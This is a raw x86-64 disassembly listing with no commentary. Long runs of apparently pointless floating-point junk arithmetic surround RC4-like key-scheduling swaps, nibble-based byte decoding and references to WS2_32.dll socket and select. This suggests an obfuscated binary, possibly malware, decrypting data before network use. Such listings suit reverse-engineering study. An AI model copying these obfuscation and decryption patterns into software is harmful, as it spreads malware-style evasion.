movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x1c0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x1d0], xmm0
xor r9d, r9d
mov ecx, 0xff
lea r14, fcn.14049eb95
movabs r12, 0x40d2a7c000000000
movabs r13, 0x40cdd98000000000
movabs rbp, 0x40c6638000000000
movabs rdi, 0x40bddb0000000000
movabs rsi, 0x40adde0000000000
lea r8, [0x1400e96f8]
xor r10d, r10d
jmp 0x1400e7889
dec rcx
je 0x1400e7ee1
movabs rax, 0x40d0fa8000000000
mov qword [rsp + 0xb0], rax
movabs rax, 0x40cb2a8000000000
mov qword [rsp + 0x40], rax
movabs rax, 0x40c4600000000000
mov qword [rsp + 0x50], rax
movabs rax, 0x40bb2b0000000000
mov qword [rsp + 0x48], rax
movabs rax, 0x40ab2c0000000000
mov qword [rsp + 0x58], rax
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x48]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x50]
jbe 0x1400e7ac0
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0xb0]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x48]
ucomisd xmm0, xmm1
jbe 0x1400e7b30
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
jmp 0x1400e7b9f
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
jmp 0x1400e7b9f
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0xb0]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
divsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
mov edx, 1
cmp rcx, 2
jb 0x1400e7bb9
mov edx, 1
nop
add edx, edx
inc edx
cmp rcx, rdx
ja 0x1400e7bb0
mov ebx, ntohs
nop
cmp r10d, 3
ja case.default.0x1400e7bd0
mov eax, r10d
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
movzx eax, r9b
movzx eax, byte [rsp + rax + 0xe0]
movsd xmm0, qword [rsp + 0x78]
cvttsd2si r9, xmm0
jmp 0x1400e7ddb
movzx eax, r9b
lea r9d, [r10 - 4]
movzx r9d, byte [r9 + r14]
add r9b, byte [rsp + rax + 0xe0]
inc r10d
cmp r10d, 0x1b
jb 0x1400e7de1
movabs rax, 0x40d662c000000000
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rsi
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x68]
ucomisd xmm0, xmm1
movsd xmm0, qword [rsp + 0x40]
jbe 0x1400e7e03
movsd xmm1, qword [rsp + 0x68]
mulsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
xor r10d, r10d
jmp 0x1400e7e88
movzx eax, r9b
movzx eax, byte [rsp + rax + 0xe0]
movsd xmm0, qword [rsp + 0x78]
cvttsd2si r9, xmm0
shr r9d, 8
jmp 0x1400e7ddb
movzx eax, r9b
movzx eax, byte [rsp + rax + 0xe0]
movsd xmm0, qword [rsp + 0x78]
cvttsd2si r9, xmm0
shr r9d, 0x10
jmp 0x1400e7ddb
movzx eax, r9b
movzx eax, byte [rsp + rax + 0xe0]
movsd xmm0, qword [rsp + 0x78]
cvttsd2si r9, xmm0
shr r9d, 0x18
add r9b, al
inc r10d
movzx r11d, r9b
mov eax, edx
and eax, r11d
dec ebx
je 0x1400e7ea0
mov r15d, eax
cmp rcx, r15
jb 0x1400e7bc0
jmp 0x1400e7ea6
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
add r9b, 0x1b
jmp 0x1400e7de1
xor edx, edx
div ecx
mov eax, edx
mov eax, eax
cmp rcx, rax
je 0x1400e7880
movzx edx, byte [rsp + rcx + 0xe0]
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + rcx + 0xe0], dl
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + rax + 0xe0], dl
xor byte [rsp + rcx + 0xe0], dl
jmp 0x1400e7880
movabs rax, 0x40dadf0000000000
mov qword [rsp + 0xb0], rax
movabs rax, 0x40d6648000000000
mov qword [rsp + 0x40], rax
movabs rax, 0x40d1ea0000000000
mov qword [rsp + 0x50], rax
movabs rax, 0x40cadf0000000000
mov qword [rsp + 0x48], rax
movabs rax, 0x40c1ea0000000000
mov qword [rsp + 0x58], rax
movabs rax, 0x40b1ea0000000000
mov qword [rsp + 0x68], rax
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x68]
ucomisd xmm0, xmm1
jbe 0x1400e806a
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movzx ecx, byte [rsp + 0xe1]
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
subsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
jmp 0x1400e82c2
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x68]
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0xb0]
ucomisd xmm1, xmm0
jbe 0x1400e822d
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x68]
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
jmp 0x1400e82ba
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
xor ecx, ecx
movzx eax, byte [rsp + 0xe3]
movzx edx, byte [rsp + 0xe5]
movzx r9d, byte [rsp + 0xe7]
movzx r10d, byte [rsp + r11 + 0xe0]
movzx r11d, byte [fcn.14049eb61]
movzx r8d, byte [0x14049eb62]
movabs rsi, 0x40d51fc000000000
mov qword [rsp + 0xb0], rsi
movabs rsi, 0x40d0e64000000000
mov qword [rsp + 0x40], rsi
movabs rsi, 0x40c9598000000000
mov qword [rsp + 0x50], rsi
movabs rsi, 0x40c0e68000000000
mov qword [rsp + 0x48], rsi
movabs rsi, 0x40b0e70000000000
mov qword [rsp + 0x58], rsi
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
add r8b, 0x89
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
ucomisd xmm0, xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
jbe 0x1400e8540
divsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x48]
ucomisd xmm1, xmm0
jbe 0x1400e85aa
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
jmp 0x1400e8629
addsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0xb0]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
shl r11b, 4
add r11b, 0xf0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
jmp 0x1400e862c
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
divsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
movsd xmm0, qword [rsp + 0xb0]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0xb0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
xor r11d, r11d
or r11b, r8b
movzx edi, byte [rsp + r10 + 0xe0]
movzx r8d, cl
inc cl
add al, byte [rsp + r8 + 0xe0]
movzx eax, al
movzx ebx, byte [rsp + rax + 0xe0]
mov byte [rsp + r10 + 0xe0], bl
movzx ebx, byte [rsp + r9 + 0xe0]
mov byte [rsp + rax + 0xe0], bl
movzx ecx, cl
movzx ebx, byte [rsp + rcx + 0xe0]
mov byte [rsp + r9 + 0xe0], bl
mov byte [rsp + rcx + 0xe0], dil
movzx ecx, byte [rsp + rax + 0xe0]
add cl, dil
movzx ecx, cl
movzx r10d, byte [rsp + r10 + 0xe0]
add r10b, byte [rsp + r9 + 0xe0]
add dl, byte [rsp + rdi + 0xe0]
movzx r9d, byte [rsp + rcx + 0xe0]
movzx ecx, dl
add r10b, byte [rsp + rcx + 0xe0]
movzx edx, r10b
movzx edx, byte [rsp + rdx + 0xe0]
xor r9b, byte [rsp + rdx + 0xe0]
xor r9b, r11b
movzx esi, byte [reloc.WS2_32.dll_socket]
movzx r10d, byte [0x14049eb64]
add r10d, 0xffffff89
shl esi, 4
add esi, 0xf0
or esi, r10d
movzx edx, r11b
movzx r11d, byte [rsp + rdx + 0xe0]
lea ebx, [r8 + 2]
add al, dil
movzx edi, al
movzx ebp, byte [rsp + rdi + 0xe0]
mov byte [rsp + rdx + 0xe0], bpl
movzx r9d, r9b
movzx ebp, byte [rsp + r9 + 0xe0]
mov byte [rsp + rdi + 0xe0], bpl
movzx ebx, bl
movzx ebp, byte [rsp + rbx + 0xe0]
mov byte [rsp + r9 + 0xe0], bpl
mov byte [rsp + rbx + 0xe0], r11b
add cl, byte [rsp + r11 + 0xe0]
movzx ebx, byte [rsp + rdi + 0xe0]
add bl, r11b
movzx edx, byte [rsp + rdx + 0xe0]
add dl, byte [rsp + r9 + 0xe0]
movzx r9d, bl
movzx r11d, cl
add dl, byte [rsp + r11 + 0xe0]
movzx edx, dl
movzx edx, byte [rsp + rdx + 0xe0]
movzx r11d, byte [rsp + r9 + 0xe0]
xor r11b, sil
xor r11b, byte [rsp + rdx + 0xe0]
mov byte [rsp + 0xb0], r11b
xor r9d, r9d
lea rdx, fcn.14049eb61
movabs rbx, 0x40d19e0000000000
movabs r14, 0x40c19e8000000000
jmp 0x1400e88f8
add ebp, 0xffffff89
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
mov r10d, ebp
lea r13, [r8 + r9]
add r13, 2
movzx esi, sil
movzx r12d, byte [rsp + rsi + 0xe0]
lea ebp, [r8 + r9]
add ebp, 3
movzx r13d, r13b
add al, byte [rsp + r13 + 0xe0]
movzx edi, al
movzx r13d, byte [rsp + rdi + 0xe0]
mov byte [rsp + rsi + 0xe0], r13b
movzx r11d, r11b
movzx r13d, byte [rsp + r11 + 0xe0]
mov byte [rsp + rdi + 0xe0], r13b
movzx r13d, bpl
movzx ebp, byte [rsp + r13 + 0xe0]
mov byte [rsp + r11 + 0xe0], bpl
mov byte [rsp + r13 + 0xe0], r12b
mov r13d, r10d
add cl, byte [rsp + r12 + 0xe0]
or r13, r15
movzx edi, byte [rsp + rdi + 0xe0]
add dil, r12b
movzx edi, dil
movzx esi, byte [rsp + rsi + 0xe0]
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, cl
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, sil
movzx esi, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + rdi + 0xe0]
xor r11b, r13b
xor r11b, byte [rsp + rsi + 0xe0]
mov byte [rsp + r9 + 0xb1], r11b
inc r9
mov esi, r13d
cmp r9, 0xa
je 0x1400e8b45
movzx r15d, byte [rdx + r9*2 + 4]
movzx ebp, byte [rdx + r9*2 + 5]
mov dword [rsp + 0x40], 0x46d0bc00
mov dword [rsp + 0x50], 0x46a6fe00
mov dword [rsp + 0x48], 0x467a8000
mov dword [rsp + 0x58], 0x46270400
mov dword [rsp + 0x68], 0x45a71000
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x58]
ucomiss xmm1, xmm0
jbe 0x1400e8a20
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x68]
divss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0x58]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
jmp 0x1400e8a8e
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x58]
mulss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x58]
mulss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
shl r15, 4
add r15, 0xf0
movabs rdi, 0x40da6cc000000000
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r14
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
ucomisd xmm0, xmm1
jbe 0x1400e87d0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
jmp 0x1400e8818
movzx r10d, byte [reloc.WS2_32.dll_select]
movzx esi, byte [0x14049eb7a]
add sil, 0x89
shl r10b, 4
add r10b, 0xf0
or r10b, sil
movzx edi, r13b
movzx ebx, byte [rsp + rdi + 0xe0]
lea r14, [r8 + r9]
add r14d, 3
add al, r12b
movzx r15d, al
